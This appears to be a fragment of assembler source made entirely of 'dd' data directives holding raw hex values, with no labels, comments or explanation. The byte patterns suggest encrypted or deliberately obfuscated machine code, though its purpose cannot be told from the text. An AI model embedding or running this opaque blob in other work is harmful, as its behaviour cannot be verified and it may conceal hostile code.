		dd 61C38A7Ch, 0BFD38B66h, 3276133h, 5E9h
		dd 7EDB9000h, 0FF8AAF3h, 38Ch, 4DD88000h, 0AEDF8166h, 14E947h
		dd 72710000h, 69F25C7Dh, 80163E5Ch, 7FDBEF8Bh, 0D0B3B3E4h
		dd 0B70F002Fh, 0FF38BCEh, 0D68BCBBFh, 0C9DFBA66h, 0E6816652h
		dd 8B5FA4ABh, 0E9F9F9D0h, 0Dh, 4D4D8775h, 7F6C7A8Bh, 59B350Fh
		dd 60EF8ACDh, 11E9h, 61D8CA00h,	9E772A7Fh, 5EF71322h, 6CD62C0Bh
		dd 0E861555Bh, 11h, 0D8E90424h,	533774B6h, 0B87AAF53h
		dd 58208AA5h, 45D1BB84h, 80587B6Eh, 66FCE8D9h, 5052D68Bh
		dd 9E9h, 0A2FF5200h, 4C7A6B79h,	5958BB8Bh, 0FE89DB7h, 91000000h
		dd 7335D7D4h, 6D09455h,	3A316F38h, 8B6675D3h, 0B9665FF8h
		dd 0BB66EE37h, 0BA6634AAh, 8B66FB87h, 0FE8FCD9h, 96000000h
		dd 5825B8FAh, 0C14493D3h, 286A6948h, 0EE82FDDh,	67000000h
		dd 0CDD67F7Dh, 67512657h, 0E6481895h, 0AE909h, 651F0000h
		dd 8871557Eh, 0D13EF151h, 81665B5Eh, 0F0585E3h,	7E8C7B7h
		dd 41000000h, 1D343D5Dh, 12E84099h, 64000000h, 42D090DFh
		dd 0F92C04F9h, 0D3CE78BEh, 0DE486089h, 8E924h, 0D6130000h
		dd 0C979B0F9h, 585912F6h, 66E8DB80h, 0BF0FF98Bh, 0F78166FFh
		dd 0D9BFE046h, 81437D0Bh, 58AED5F2h, 0F524B166h, 7553BA66h
		dd 11E9h, 75DBDD00h, 0E38C81F8h, 1E5C492Eh, 1240982Bh
		dd 70BA24BBh, 0BB1E434Ch, 7138A307h, 0E9D0B70Fh, 0Bh, 2AC62C9Bh
		dd 2E301A78h, 818DAD98h, 0A6330DEAh, 0DE878h, 0F16A0000h
		dd 0C69BA0E1h, 3C3E42DFh, 5BE3E931h, 74E4BF66h,	12E950h
		dd 0E32E0000h, 7194C50h, 0BDA5FDF3h, 9F8DF15Eh,	6945172Ah
		dd 8E95Eh, 4F860000h, 0A2E91E6Ah, 0BF0FE333h, 81BA66CBh
		dd 0B70F60A3h, 619BB4C6h, 0A64ECE81h, 0F88B63B0h, 8BF08166h
		dd 0C3BF0F07h, 6660E78Ah, 7DE1EB81h, 64EB8166h,	0E18A61A7h
		dd 12E9D0B0h, 0C6000000h, 42C17E39h, 0A0006EC0h, 9F94CA40h
		dd 0C75106EBh, 0FE8B600Eh, 12E9h, 0D2C6A400h, 0DDCB47h
		dd 2BC1F979h, 0ED2ADD05h, 61D6B4AFh, 0F8FAB70Fh, 0FE9CF8Bh
		dd 0A0000000h, 89B37Ah,	7DB51F75h, 0BB7ED3B5h, 8B66E1C0h
		dd 0F18166C6h, 0CE94ED2h, 57000000h, 35593300h,	0E0E1B1C5h
		dd 66530B03h, 0CB1E281h, 0CE8h,	2F90A400h, 0E8988340h
		dd 90EF3AA5h, 9EE81C0h,	5A426AACh, 14E8h, 0E03B3500h, 0C45D7E9Dh
		dd 15A1A795h, 24BA5261h, 130A2F7Ah, 5FEEB41Fh, 6820F60h
		dd 0F000000h, 82h, 61C58A00h, 42EE8160h, 66674C6Dh, 61E78CB8h
		dd 1810Fh, 66F90000h, 0F508C081h, 8E9h,	0C711100h, 93F10CA1h
		dd 0DE9C2h, 96C50000h, 5CCF0A63h, 5D6A7A4h, 0E9CC01DAh
		dd 0Ch,	0C680FB67h, 0E4009226h,	6B0A9712h, 48B0Fh, 0B8660000h
		dd 8A60999Ch, 61D18BD5h, 6E9h, 0F4555300h, 0BE7AFCBFh
		dd 4E4C6879h, 91C7BAF9h, 8B6661FDh, 0D3BF0FC1h,	0AFB6C381h
		dd 0D18154B8h, 26E2B4FDh, 0FC68B66h, 8160F9B7h,	9B098DDEh
		dd 840F71h, 61000000h, 51CFBF0Fh, 55C18166h, 8B605EB8h
		dd 0BF6661CAh, 0C781C53Bh, 75FA483Fh, 8F0F6051h, 0
		dd 0BDB95961h, 6056DAD4h, 8A0F60h, 81000000h, 970063D6h
		dd 61FC6150h, 0B96624B5h, 0E860ACDDh, 12h, 0CFAFCE3Ch
		dd 0E09A5B2Bh, 9C2A8202h, 7BA4C058h, 0D68B7279h, 0BB8615Bh
		dd 662388A2h, 668F26BEh, 4842E681h, 11E9h, 58F1A300h, 737E5B7Fh
		dd 0B5D6F54h, 912AC925h, 0FE9C9C4h, 43000000h, 6E1DD302h
		dd 0C4D450BBh, 0B0BF1862h, 0E8F5DC0Fh, 9, 0B1FC0C96h, 3472FE9Ah
		dd 0F55FBBF8h, 5159254Ch, 510CB866h, 0EE85Fh, 61200000h
		dd 0E471F77h, 0C576C0FAh, 80629C74h, 7F8344B9h,	10E9596Fh
		dd 0C4000000h, 0B091FE2Bh, 2D423CC1h, 40459CCDh, 0BB43A039h
		dd 84A2CE2h, 8B9A98BAh,	12E83Dh, 24330000h, 137D73DDh
		dd 566DF238h, 34F951Ch,	762ABC28h, 13E960h, 0F0E40000h
		dd 0D03A5C45h, 0F6F1994Ch, 77CCBC4Ah, 6B5951A0h, 0DE89Ah
		dd 0D7B30000h, 0F704FA8Ah, 0B427A99h, 5FDEC450h, 5E85861h
		dd 67000000h, 0E45AFFFAh, 0BF5E0FB4h, 1BC0D15Fh, 5890F60h
		dd 66000000h, 5FCED381h, 0A096BB66h, 0FC38B61h,	289h, 0FABB300h
		dd 480h, 40BE6600h, 0DFBF0FA5h,	98BAF98Ah, 0F395406h, 8B66F8B7h
		dd 0FE8B66DFh, 0AE9h, 9E0E0300h, 0C4D39B7Bh, 531613B3h
		dd 41E9BB66h, 82BA6659h, 80E981F8h, 561006BFh, 6059F08Bh
		dd 11E8h, 88391800h, 8C00AA69h,	4AF79F50h, 554CCCE3h, 0EF812797h
		dd 43E9ED21h, 0F18B6659h, 0CCE38061h, 9E860h, 50440000h
		dd 992BC527h, 0F138F96h, 8Dh, 0E9615900h, 0Dh, 7E53F4E9h
		dd 524C933Bh, 2DAEBEB7h, 0F5D08BE1h, 0B866F48Ah, 8D0FB879h
		dd 2, 0EE80C38Ah, 60C28BF1h, 5FCA8B56h,	0AE961F8h, 13000000h
		dd 4E42CFD0h, 52BF6A26h, 7E978h, 93420000h, 0C28E4125h
		dd 0F9F380A5h, 13E9h, 0C6CC9D00h, 856F6C4Ah, 0A8C5525Ah
		dd 4F764AD0h, 925D145Ah, 0D7DCB966h, 0E9C78B66h, 0Eh, 3CF005E4h
		dd 1DF76863h, 0DE91846Ah, 0B966ADB3h, 0AE8802Fh, 5E000000h
		dd 0B300D7B9h, 6762ED2Fh, 0A7F2812Ch, 5949EE00h, 28A0Fh
		dd 0FE8B0000h, 0B70FBEB4h, 13E8CAh, 5B090000h, 99E32D10h
		dd 18636C9Eh, 2F9F3896h, 0FF405BD9h, 0C4BF6640h, 7E85AE0h
		dd 38000000h, 0F41753FBh, 59F8CBF1h, 0FC9BF0Fh,	0E381DEBFh
		dd 5CB33E2h, 0EE9h, 58A12000h, 81270C4Fh, 9791EFA1h, 0F306183h
		dd 1B83h, 14E96000h, 3000000h, 7EAB8EA8h, 0BF42E643h, 0ED778FBAh
		dd 0E66D5BAh, 614CE7EBh, 0C4C46BB8h, 9E904h, 0A67E0000h
		dd 0CAB14C88h, 0E9DE942Bh, 7, 0BC2FFC02h, 0E9E01EE3h, 0Ah
		dd 8A851Fh, 0BEFAC4ACh,	810FFB7Bh, 3, 60BAE380h, 2860Fh
		dd 61600000h, 9E8h, 0A4F7A900h,	507CB6D0h, 14E9802Fh, 54000000h
		dd 217213Bh, 0BD3BD05Fh, 28DD284h, 0E6038D2Dh, 58D62682h
		dd 0DAB70F61h, 2810Fh, 0B2B30000h, 5A21B653h, 0DDDA8166h
		dd 0C6B70FDFh, 0C8A0Fh,	890F0000h, 6, 880Fh, 10E80000h
		dd 0B1000000h, 0C6ECC95Fh, 84722EEAh, 0F4CBE059h, 0F8A1B185h
		dd 9E95Ah, 7F660000h, 11C49959h, 6693AEECh, 3EBFF38Bh
		dd 0E9323B3Ah, 13h, 2A20AC9Ch, 0A33AA132h, 0D25F34E7h
		dd 3382A06h, 8B9597E3h,	0D6B70FF0h, 0DE8F5h, 281B0000h
		dd 0C641AD04h, 0C1BAF195h, 0BBA420E6h, 28610E20h, 6045B05Ah
		dd 10E9h, 0EBB41200h, 29B19D05h, 0F3674F39h, 679A75Dh
		dd 0E861F547h, 8, 533EE39Ch, 0AA30D6E8h, 61616060h, 0BF0FF95Eh
		dd 0BB66F8F6h, 880FB4A2h, 8, 83D78152h,	5F72D2B5h, 6800Fh
		dd 870F0000h, 0
		dd 7C62E181h, 820F6AA7h, 0
		dd 6800Fh, 0B1600000h, 615F562Ch, 667BBE66h, 1EC3C6B8h
		dd 5830F40h, 66000000h,	4184D881h, 4A50C781h, 8166135Ch
		dd 8085A0E3h, 8166CCC6h, 660588C0h, 5C83EF81h, 3840Fh
		dd 0CC800000h, 0AE84Bh,	0DD480000h, 2AAA30Fh, 4DA06374h
		dd 58B0Fh, 1BB90000h, 5853287Ah, 52C9B70Fh, 0BE9h, 0B9F94100h
		dd 554254A8h, 9E4A08ADh, 53BB665Bh, 3880F2Bh, 80000000h
		dd 8AF8DBC4h, 0FDE781C2h, 0B221BCB1h, 12E876h, 9ED10000h
		dd 80972854h, 72A9C942h, 751C645h, 9D8A60FBh, 0FD1B35Fh
		dd 58Eh, 2B72B800h, 840F607Bh, 3, 66FB8B66h, 34D2CE81h
		dd 38A0Fh, 0F7800000h, 0EDE18055h, 0FAB70F60h, 5F585757h
		dd 0CF8B6661h, 8800Fh, 810F0000h, 2, 0E9F803B3h, 5, 62563BD3h
		dd 7E9C2h, 995A0000h, 8E34D847h, 0FEC7817Fh, 6641B342h
		dd 0B925A7BAh, 6A57C49Bh, 7D03D381h, 8C0F033Ch,	7, 0C1816660h
		dd 6661A696h, 0BB2CC181h, 6E9h,	0A560DC00h, 0F288822h
		dd 128Ch, 0DE900h, 27E0000h, 8FB8F400h,	3B3DBA85h, 66F02428h
		dd 50CF281h, 553E08BBh,	14E838h, 30930000h, 8B0DBCC1h
		dd 0E0B3C3BAh, 0A1C94AE5h, 95741C27h, 14E96797h, 0F5000000h
		dd 0F651A705h, 0E742FEEAh, 50E7FF7Dh, 0D97430A0h, 5E2A43A2h
		dd 800Fh, 7BB20000h, 0FE9h, 8FA60F00h, 0EB332AA3h, 90852DCAh
		dd 0D3B8F806h, 4800Fh, 0B9660000h, 800FA4C1h, 14h, 0FE9h
		dd 70971800h, 1624960Ch, 5762FD1Eh, 718A5C75h, 0CE9h, 0E8BA0E00h
		dd 3E3EB4B7h, 0B352D000h, 11E9E1h, 0C1A80000h, 0E53579C4h
		dd 0D023CB8Dh, 0DF49837Fh, 60E92FEFh, 0F48AC68Bh, 93BF6661h
		dd 0C68166E7h, 0FFCE016h, 38Ch,	82DE8000h, 0F28BC18Bh
		dd 817AED80h, 0C61E2ECFh, 0E8A3B239h, 0Fh, 563701C7h, 48F30486h
		dd 0CA461D7Bh, 8089ECBAh, 0E85BD9C1h, 13h, 0D2B47B31h
		dd 1A2B305Dh, 75854021h, 0E74E0502h, 801DC679h,	0B659CDD9h
		dd 0FE927h, 7D950000h, 0BD588FD5h, 0A58BA6D3h, 0A770987Bh
		dd 13E8D2h, 0A87C0000h,	626D8621h, 0FD735DE7h, 44128B25h
		dd 167CDE6h, 97BF66D7h,	8B665B23h, 53D3BAF7h, 820F12DEh
		dd 0Ah,	4860Fh,	0BE660000h, 0BE66CB8Ch,	800F4552h, 2, 5E918B0h
		dd 69000000h, 0F5AC3F82h, 53E38166h, 0FFB70F03h, 506232BAh
		dd 0FEB96628h, 0DF816671h, 0FC53CC57h, 11E858h,	0A84E0000h
		dd 0A289B513h, 5D117713h, 0BF0AB38Dh, 0BAC512B2h, 33DA05A3h
		dd 0F281F95Bh, 762493C0h, 10E939B3h, 10000000h,	233B6E9Dh
		dd 25AC0F00h, 7DFA9DC4h, 80547894h, 0D18B19C9h,	5E960h
		dd 83140000h, 0F393B0Ch, 83h, 8F0F6100h, 15h, 10E9h, 6CD62C00h
		dd 178C555Bh, 0C13124C7h, 5E4AC833h, 8139B660h,	76486EC0h
		dd 8F0FF81Ah, 19h, 0DE960h, 4D7B0000h, 0DEB83DF9h, 40EBF114h
		dd 66AA096Fh, 8BCBD181h, 7DDF8061h, 66F88B66h, 0EFE5DF81h
		dd 0FCEA8166h, 7E845h, 0D4010000h, 4E8F9BC7h, 38C0F09h
		dd 80000000h, 605E56EEh, 61DAB70Fh, 8A0FF860h, 6, 840Fh
		dd 0BB610000h, 2881B2EEh, 16820Fh, 0AE80000h, 0CC000000h
		dd 27CF5B1Eh, 0EC42F5EAh, 0AED381F1h, 597AC5B3h, 28CF8166h
		dd 0D2C9B896h, 8BFC7B0Dh, 0E38166CBh, 8B666C61h, 0BF0F50DAh
		dd 0D6815BCFh, 4983EEAAh, 0FE66B0BBh, 0F98B6012h, 51F861F5h
		dd 0CEBF0F60h, 81665E61h, 66FC71C6h, 3BF1DB81h,	12E8h
		dd 0DA7E9000h, 9E8F6B4Ch, 0B256CB8Ah, 87D7C663h, 8088571Fh
		dd 0BB58ECDAh, 6686107Eh, 0E55D63BFh, 0D88B667Ah, 9E8h
		dd 1E4A8800h, 15483DC9h, 0BF0F1972h, 0FF859C2h,	0E980D1BFh
		dd 0DA81661Bh, 0FF99C05h, 28Dh,	0F9D98B00h, 0BBCA8166h
		dd 0FCF0B624h, 5E9h, 0A7E4F300h, 8E0F1D96h, 5, 6841ABAh
		dd 0D6B70F02h, 66F18B66h, 80020CBAh, 0EE9DEC8h,	0A0000000h
		dd 7D014D13h, 918307E9h, 62BEA343h, 99BB661Ah, 6BF2817Dh
		dd 66074ED0h, 65B0C281h, 0E84E83B9h, 8B66600Ah,	816660F8h
		dd 0E945CEE8h, 12h, 2BD2E2F1h, 1050777Ch, 0B4EEEE48h, 4BC96407h
		dd 61618B3Eh, 3972B966h, 4C25D681h, 1DBF775Eh, 0E91D70D7h
		dd 5, 31D7E0F5h, 14800F32h, 50000000h, 0DE9h, 98CC4F00h
		dd 0E492422Bh, 0BD38D464h, 665893F3h, 60FCF28Bh, 5ED78166h
		dd 26BE6699h, 0DCBA6107h, 0F195C9Ch, 18Dh, 8A0FF900h, 3
		dd 0FC30C880h, 12E9h, 35F61200h, 0D8D54C4Ch, 0AD53B9D2h
		dd 0CE5304E6h, 0FD00F74h, 1889h, 10E85600h, 8B000000h
		dd 4CB56CB8h, 7817E7CCh, 3750B4C1h, 58C6CDDFh, 0DA816659h
		dd 0E95661BEh, 5, 17ABAD36h, 0EE95F1Ch,	74000000h, 0E7C47750h
		dd 0D3C0BDDFh, 0CD55625Bh, 10E9D4h, 6DA20000h, 0F032F306h
		dd 55D9A1C3h, 77C908F2h, 8166E577h, 0E8134DF3h,	9, 47CB0113h
		dd 6919466Ah, 68E0F09h,	81000000h, 59F311C7h, 860F5E77h
		dd 2, 0F5073B1h, 0E8Ah,	9E900h,	0F6BA0000h, 44BE2D0Dh
		dd 5B2AFE02h, 80D98BF9h, 0DE9FACEh, 2000000h, 0FFE3EBAAh
		dd 2624E6CDh, 92444E10h, 10E9h,	1D368000h, 0DC30D813h
		dd 0DFE9A5E1h, 6CAAAD4Fh, 0BAB5B6CFh, 63D5B2E0h, 38F0Fh
		dd 0BF0F0000h, 68A0FFEh, 81000000h, 1FB0B3CAh, 8E955h
		dd 0C58C0000h, 3B3C6822h, 7E9F889h, 0E8000000h,	0CCB0665Fh
		dd 81666A0Bh, 0FCA52C6h, 0E7BFCBBFh, 0E91374C7h, 0Dh, 0CAE13B14h
		dd 0DAC177Bh, 4E0A607Bh, 13E81Eh, 0C55C0000h, 0B82F18F2h
		dd 4B3D8A00h, 39D3BE22h, 9E226BC1h, 585F5067h, 0AE8h, 7DD83600h
		dd 1FDE45BAh, 0E8536164h, 11h, 0A0FF60B6h, 0FE6FDFC9h
		dd 734DA50Dh, 0D650AD6Dh, 5B5A53A8h, 571AB85Bh,	820F2599h
		dd 0
		dd 0CE9FA8Bh, 14000000h, 0A2A64858h, 19C295Ah, 6677E13Eh
		dd 0C4EAE681h, 0C204BBF5h, 12E8040Ah, 68000000h, 8DE684C1h
		dd 0AFE59F4Eh, 0EE229B7Ch, 0FC7EDAC0h, 11E98Bh,	1DEB0000h
		dd 0B651E7B6h, 21C14FC3h, 22632EDDh, 5ED37626h,	79C9BB66h
		dd 0C381D18Bh, 7BA44832h, 58D0Fh, 81660000h, 0E9E305E1h
		dd 0Ah,	205C6BCBh, 3CA15C3Ah, 12E97922h, 45000000h, 0A12D6E57h
		dd 46414A3h, 0E81427A9h, 4FCE1C81h, 7E822h, 0EC3F0000h
		dd 84429DDCh, 665EF929h, 66FCC88Bh, 890FDA8Bh, 5, 0CEF28060h
		dd 0F8E78A61h, 8D0Fh, 0B8660000h, 8D0FD4C7h, 3,	0E895F480h
		dd 11h,	79154909h, 3DC8AC04h, 5B6D49B1h, 0BC91F2B4h, 8A0F5E7Dh
		dd 10h,	0BE9h, 0CC1B6C00h, 42E7D104h, 0B100E5F6h, 80D9B70Fh
		dd 81F520CDh, 0E3E966EEh, 6CB86662h, 48C0F51h, 66000000h
		dd 667D52B9h, 8166DF8Bh, 66D752E3h, 8BCED4BAh, 0E9F28BC7h
		dd 0Eh,	828D5252h, 0EFBF5DFBh, 5885250Fh, 90BBE7B3h, 665A86CCh
		dd 5218AABBh, 13E9h, 9608F900h,	79917928h, 82975AB8h, 0A3867FADh
		dd 0EA2C7F53h, 21C9815Fh, 0BE539AD5h, 14C8F603h, 0B1EB8166h
		dd 0FF9F92Bh, 14E9F1B7h, 9B000000h, 36905507h, 6F8603EDh
		dd 0A91FF9FFh, 0D1C6C5F8h, 803DE431h, 8B6617E2h, 0CAB70FCEh
		dd 13E9h, 0BFB4C600h, 3DFF93BCh, 0A0849B6Eh, 0B412DBA4h
		dd 0B19D05EBh, 4598E8BAh, 6660F945h, 0F4C6ABFh,	8161D6BFh
		dd 82A225CBh, 6BCB806Bh, 28C0Fh, 0CFB40000h, 6EF38166h
		dd 0D78166F3h, 0E9527211h, 5, 0DC86DEDAh, 5E565FFFh, 0CC8BA66h
		dd 4880Fh, 0BB660000h, 0F98B0785h, 9E8h, 0B3B85800h, 1A64C247h
		dd 0AE84184h, 6A000000h, 43D077FCh, 69540510h, 8F0FBEh
		dd 5A000000h, 0E5B0FC59h, 52F98BFCh, 0AE8h, 0C691BC00h
		dd 3481D0E5h, 666F58C1h, 5F5BC88Bh, 218F0Fh, 0E8600000h
		dd 13h,	0CAFDF6EAh, 3DDDD60Fh, 0E3C92CB4h, 59F2EC95h, 599537D6h
		dd 8F0Fh, 66610000h, 4F1DC181h,	81FB8B66h, 76F7D2C7h, 8166F56Ah
		dd 801E52F7h, 8E9FFC0h,	84000000h, 796D2728h, 0E95D56ECh
		dd 8, 91199EFCh, 83C90C99h, 222CBB66h, 0F52861B9h, 72F3801Ch
		dd 0D88166F5h, 0CE9A0EFh, 0CC000000h, 32B8A180h, 914A1D17h
		dd 60DA9DE4h, 61FCC18Bh, 0E409DF81h, 6E90F92h, 0BF000000h
		dd 0A71D6213h, 0E081F8B9h, 6F6120A2h, 80DE8B66h, 81509ECBh
		dd 0C7F869D9h, 0B70F5E5Bh, 605A53D1h, 66CABF0Fh, 61B3BEB9h
		dd 6EEED281h, 870F4808h, 4, 59FE8B51h, 0FE9h, 376B7400h
		dd 4ABBB890h, 5ECF9CCFh, 1A9559D3h, 81C68B66h, 663F6DE8h
		dd 0C68B667Dh, 48A0Fh, 0BB660000h, 5E90F83h, 0BA000000h
		dd 0FEA7FCBAh, 5BD08166h, 8166504Ch, 5E5485C7h,	0DE8B66F8h
		dd 17830Fh, 0E9510000h,	10h, 0F6FACCD1h, 0C8FA464Dh, 0AB94660Bh
		dd 78596C3Ch, 0F28B6658h, 8BC3B70Fh, 816660C8h,	818A7CF2h
		dd 9E2C91D3h, 6050617Fh, 9C4AFCBFh, 5F61F912h, 0F56F28Bh
		dd 18Bh, 0F95BF800h, 10860Fh, 0BE90000h, 51000000h, 48189567h
		dd 0BCA309E6h, 0CE8F717h, 0A7000000h, 338A5633h, 35CFD9CBh
		dd 5F6FBC5Bh, 4860Fh, 0B8660000h, 8C0F42C7h, 6,	0FC49EA81h
		dd 8C0F0E5Eh, 8, 2810Fh, 61600000h, 7B1D6FBBh, 77F5800Fh
		dd 7E956h, 0B9C90000h, 3ED73758h, 8B0F597Fh, 5,	88EB8166h
		dd 12E85Ch, 54B90000h, 80BD1F2Dh, 519AA68h, 6E119693h
		dd 0EDC05747h, 850F58F8h, 2, 0B70FC18Bh, 6870FF1h, 81000000h
		dd 365361CBh, 18A0F53h,	0F8000000h, 8073F580h, 0F5136C3h
		dd 86h,	0BF0F5B00h, 3830FC2h, 66000000h, 0BFBBD88Bh, 810588D9h
		dd 5BB5C6C2h, 23BB667Bh, 0DE893h, 0B78B0000h, 0EA998701h
		dd 0E4D9DE77h, 58EECC25h, 60C0B70Fh, 61F5F560h,	0EE9h
		dd 0CB0D7C00h, 520F86A3h, 978CD528h, 61485814h,	5810Fh
		dd 8BB0000h, 8044292Ah,	0B96654D5h, 0BE66D5A8h,	8B60594Eh
		dd 1890FDFh, 0FC000000h, 1A5CBB61h, 0BF0F79A2h,	8B66F5CFh
		dd 81E78AF9h, 0B2FC7EC1h, 10E855h, 0CF5D0000h, 61A25769h
		dd 0F44F30E1h, 8B3FB7A9h, 0CA81230Ch, 7AD800A3h, 0AE959h
		dd 282C0000h, 163AF23Fh, 0D0ABD8E4h, 8E9h, 0A159B700h
		dd 0D2D8217h, 235BE52h,	46B859D0h, 663694BFh, 60E3D981h
		dd 81F08B66h, 496A4FDEh, 6830F43h, 56000000h, 611B966h
		dd 0E8A9BE5Eh, 0F1810114h, 7BF5777Bh, 28C0Fh, 0C38B0000h
		dd 9E9F5h, 0BDB90000h, 1CFD288Ah, 8BF24D6Ah, 0C38160DEh
		dd 100B09B3h, 9A2193BBh, 10E86141h, 0BB000000h,	0F7C5CBEFh
		dd 255CDEF0h, 0B67E54B4h, 0F790802h, 8Fh, 11E85E00h, 46000000h
		dd 44F6A37Bh, 341E4F7Ah, 8DFCC24h, 0F4B10E0Ch, 0CE9h, 0C4AED700h
		dd 688288ACh, 4966169Ch, 60605984h, 61F98B66h, 0EE861h
		dd 0BDD90000h, 7DAA246Ah, 0DFD97B44h, 5DB1E9FFh, 2526B966h
		dd 13E95Bh, 87B90000h, 398CF701h, 7E30CA14h, 79DBE17Ah
		dd 0ADE21A12h, 0F27B15Fh, 1388h, 0EE900h, 7F820000h, 5F2E4145h
		dd 61D8CA2Ch, 9E772A7Fh, 72B1CF8Bh, 7A16BB60h, 0F6107DBh
		dd 388h, 0C3B70F00h, 4585D681h,	0BB665948h, 860F731Bh
		dd 0
		dd 4800FF5h, 66000000h,	0E9216FBAh, 11h, 0C3BA8B0Dh, 4AE5E0B3h
		dd 1C27A1C9h, 67979574h, 0DBB70F0Bh, 4F11EB81h,	0E8805D92h
		dd 0C6B70FC2h, 5DE78160h, 800F659Bh, 0F6178D7h,	0D18BC2B7h
		dd 7E85360h, 45000000h,	0B6FC9B06h, 5E5852C0h, 0CEB8BB61h
		dd 800F67E1h, 0Bh, 5830Fh, 51B90000h, 0BE2CF418h, 5CA0D5A0h
		dd 0EFFECA81h, 850F1825h, 5, 0E6C18166h, 9E97Fh, 97A90000h
		dd 0BE4570Bh, 0E9036562h, 5, 0ECD80FECh, 6E980A7h, 890FF78Bh
		dd 1, 3DB160FCh, 6820Fh, 8D0F0000h, 0
		dd 0CE85361h, 28000000h, 0CD60C30h, 0D0E3AEBCh,	0B8FE38BFh
		dd 602D31C8h, 7E85B59h,	0B9000000h, 0E2CE9973h,	0B70FA659h
		dd 0DDB65FDBh, 0FE9h, 0B9E93700h, 7BF01AB8h, 10747925h
		dd 0F05CD6Ch, 0E96057F9h, 13h, 0C255A912h, 571CF8DAh, 74B007Fh
		dd 2D21B105h, 0B8DAF46Ah, 24DC0788h, 66F95A61h,	0C76FF181h
		dd 6B15EBBAh, 0FDFB21Fh, 38Eh, 0B3CD8000h, 0AE9h, 859BB500h
		dd 67AB1D3Eh, 807E6F5Fh, 0ACB000CFh, 48D0F60h, 66000000h
		dd 8B7078BAh, 0B86661CEh, 0FF9DF10h, 0E8Bh, 9E900h, 0DCD0000h
		dd 3974D0F2h, 0E9F616ECh, 6, 77337646h,	13E9D231h, 0DB000000h
		dd 0B839E81Ch, 0E11BAF9Ah, 0D8DCF92Ah, 62939133h, 0EB81789Dh
		dd 7145094Ch, 8A5FFC53h, 0EE8166EBh, 0F1B376B9h, 60D88B66h
		dd 81CDD480h, 8A7CE1CAh, 0CE8B614Bh, 0DE9h, 0EC7E4A00h
		dd 48D83B0Dh, 3F93FC26h, 0B8669D77h, 5A57B750h,	0F6019B0h
		dd 800FF0BFh, 6, 830Fh,	0B9610000h, 5E480435h, 8166F1B4h
		dd 0FC59C5CAh, 48DEBB66h, 0C865B966h, 0D8816656h, 8A5AEB68h
		dd 38B0FCAh, 0F000000h,	8BF9D6BFh, 585750DAh, 168A0F58h
		dd 0F000000h, 1082h, 0AE800h, 9D920000h, 6290A168h, 1DE411ECh
		dd 0D0B70F5Bh, 7E9h, 0F6F4A600h, 30D0CE97h, 0F1B50B8h
		dd 0C3B70F5Fh, 0F78B6657h, 14E859h, 52990000h, 0AD5EC1C2h
		dd 0BBF7C603h, 34A6B2EBh, 0F17A48Ch, 8E9EB5Dh, 28000000h
		dd 4690456Ch, 59D65607h, 0C6D026BBh, 0FBB70F67h, 0D98B33B5h
		dd 8E9h, 12B0EC00h, 4C0B3ECBh, 815EB5CAh, 6060CCE8h, 19890F6Ch
		dd 0E9000000h, 14h, 0ED5DB1E9h,	35A43AD8h, 1C3207A2h, 9AE9A691h
		dd 2AF8F8C6h, 0EBDB13BFh, 7E9F818h, 4000000h, 0CDBE742Fh
		dd 6660272Fh, 5EC1F281h, 9100BE61h, 0DA807F3Eh,	0B8D88B02h
		dd 3FC69A41h, 0EE8h, 0F937EA00h, 78E96427h, 51DD6253h
		dd 0B056538Ch, 81665926h, 508D02D3h, 59585253h,	0F850F858h
		dd 3840F5Eh, 57000000h,	840F58FCh, 0Bh,	0F3BB6660h, 0F28166EFh
		dd 0B861A09Ah, 58401356h, 5A505056h, 0C4B55B5Eh, 0BE9h
		dd 9F81BD00h, 5C23F73Eh, 4F2AA7B8h, 1800F60h, 0F8000000h
		dd 7E9h, 0B58ECA00h, 0CDE575A6h, 0C88B6661h, 0FE447BEh
		dd 0AE95766h, 9A000000h, 1C8BAF8Ah, 1633E7B8h, 816659A3h
		dd 0B4D11AEEh, 9DBBF9A0h, 0F6B6B8Dh, 84h, 58F0F00h, 66000000h
		dd 0FDDDF681h, 0E9F6F180h, 7, 0B9A3F4F9h, 60EED422h, 9EB461FCh
		dd 1FB1C981h, 0F28B4434h, 61D78B60h, 14E950h, 0EF920000h
		dd 967240B8h, 0DAC97532h, 0F35F1B3Dh, 0FF0FE9B5h, 665E1959h
		dd 0E9866CBBh, 11h, 5DA64D56h, 0B2A909BCh, 4DC0776Ch, 6C08BFE0h
		dd 9E925h, 2FCC0000h, 0A95FD18Ch, 0FA13838h, 58Dh, 9CA4BF00h
		dd 0E9507A10h, 0Bh, 26EA8E39h, 11FEAB0Eh, 5F2DDD86h, 0AE860h
		dd 1CE10000h, 1FA9CC2Eh, 18E1F959h, 71A8BE66h, 0E681665Eh
		dd 0F61A1DBh, 8160F0B7h, 0B10A12D8h, 0B260614Fh, 2850F70h
		dd 60000000h, 890F6161h, 0
		dd 66D2B70Fh, 3043E681h, 800Fh,	0E8560000h, 0Dh, 74245C4Fh
		dd 0F9EF591Dh, 96A80AFh, 5E85Fh, 62160000h, 582FFC02h
		dd 0CE9585Ah, 93000000h, 7119BEA8h, 8E8C9684h, 0FA40867h
		dd 8Ah,	0F0816600h, 9E9DB64h, 0DC000000h, 0D221BCB5h, 0E87B5528h
		dd 0E28ADE8Bh, 0DF8ACF81h, 8B663E96h, 0A4E280D1h, 65C18166h
		dd 8BF6B21Fh, 8E9F3h, 0EC0000h,	0A23C21BEh, 0EFB19908h
		dd 44E0BF66h, 8E9h, 75C2BE00h, 0C90BC1D9h, 13E900h, 0A2440000h
		dd 0D6BA5400h, 0CB83E112h, 6ABCE889h, 3D8DEFEDh, 0BBE88A64h
		dd 77E011FFh, 0EA816660h, 6661C8A6h, 0C45E781h,	9E9h, 6A35DC00h
		dd 95F859ECh, 0FA8B12B3h, 0B890FF5h, 0E9000000h, 6, 3A6EDA50h
		dd 0F60299Ah, 8Ah, 10E86100h, 96000000h, 0C3C0CD89h, 0CBB28E71h
		dd 1B9E2E9Eh, 0E9182AE6h, 0Eh, 0B781A549h, 0AFCF73A7h
		dd 0CA892D06h, 0F5ADF13h, 0BF57DEB7h, 0CF15399h, 0BE959h
		dd 45C90000h, 82A4192Bh, 3C46676Ch, 0EF8166F9h,	13E9C2B3h
		dd 38000000h, 0F1C1FFC7h, 7EBBFC0Eh, 768BF9D3h,	8C7435AEh
		dd 8B663C64h, 810FC2h, 57000000h, 8BF28B59h, 12E8C1h, 3C600000h
		dd 0D38E80F3h, 475F0F49h, 2D1380CEh, 377FA474h,	9E95Fh
		dd 94640000h, 95C06F41h, 507B0BCBh, 0B2E18060h,	61F28B66h
		dd 0EE95Eh, 0FB1B0000h,	0F17B5C14h, 71FE0BA0h, 0C4614F63h
